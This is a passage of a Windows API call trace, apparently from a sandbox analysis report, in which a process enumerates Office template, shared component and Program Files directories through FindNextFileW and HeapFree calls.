ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0289.901] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.901] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 1 [0289.903] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.903] FindNextFileW (in: hFindFile=0x3e81ee8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6a2342, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Part", cAlternateFileName="")) returned 0 [0289.903] FindClose (in: hFindFile=0x3e81ee8 | out: hFindFile=0x3e81ee8) returned 1 [0289.903] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.904] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6099da, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30f09, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0289.909] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.909] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb787155, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb787155, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb787155, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf6a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LoanAmortization.xltx", cAlternateFileName="LOANAM~1.XLT")) returned 1 [0289.910] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0289.910] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0289.910] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0289.910] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0289.910] FindClose (in: hFindFile=0x3e819a8 | out: hFindFile=0x3e819a8) returned 1 [0289.910] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.910] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0289.910] FindClose (in: hFindFile=0x3e81da8 | out: hFindFile=0x3e81da8) returned 1 [0289.910] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.911] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0289.911] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.912] FindNextFileW (in: hFindFile=0x3e81e28, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0289.912] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.912] FindNextFileW (in: hFindFile=0x3e81e28, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0289.912] FindClose (in: hFindFile=0x3e81e28 | out: hFindFile=0x3e81e28) returned 1 [0289.913] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ea2088 | out: hHeap=0x730000) returned 1 [0289.913] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 1 [0289.914] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0289.914] FindNextFileW (in: hFindFile=0x3e81fe8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0289.914] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.914] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0289.914] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.915] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a112a2, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x5a112a2, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 0 [0289.915] FindClose (in: hFindFile=0x3e81e68 | out: hFindFile=0x3e81e68) returned 1 [0289.915] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.915] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 1 [0289.918] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.918] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b809370, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b809370, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Help", cAlternateFileName="MICROS~1")) returned 0 [0289.918] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0289.918] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.918] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common Programs", cAlternateFileName="COMMON~1")) returned 1 [0289.920] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.920] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0289.921] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.921] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0289.978] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.989] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0 [0289.990] FindClose (in: hFindFile=0x3e81ea8 | out: hFindFile=0x3e81ea8) returned 1 [0289.990] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0289.991] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1 [0289.992] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f220c8 | out: hHeap=0x730000) returned 1 [0289.992] FindNextFileW (in: hFindFile=0x3e81ca8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0289.992] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0289.992] FindNextFileW (in: hFindFile=0x3e81fe8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0289.993] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.993] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0289.994] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0289.994] FindNextFileW (in: hFindFile=0x3e81fe8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0289.995] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.995] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0289.995] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.995] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0289.995] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.995] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0289.997] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.997] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0289.998] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.998] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0289.999] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0289.999] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0290.001] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.001] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0290.002] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.002] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1 [0290.004] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f520e0 | out: hHeap=0x730000) returned 1 [0290.004] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7e918 | out: lpFindFileData=0x2f7e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1 [0290.008] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f620e8 | out: hHeap=0x730000) returned 1 [0290.008] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x2f7e69c | out: lpFindFileData=0x2f7e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0290.008] FindClose (in: hFindFile=0x3e81ea8 | out: hFindFile=0x3e81ea8) returned 1 [0290.009] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f520e0 | out: hHeap=0x730000) returned 1 [0290.009] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7e918 | out: lpFindFileData=0x2f7e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0290.009] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.009] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0290.009] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.009] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7eb94 | out: 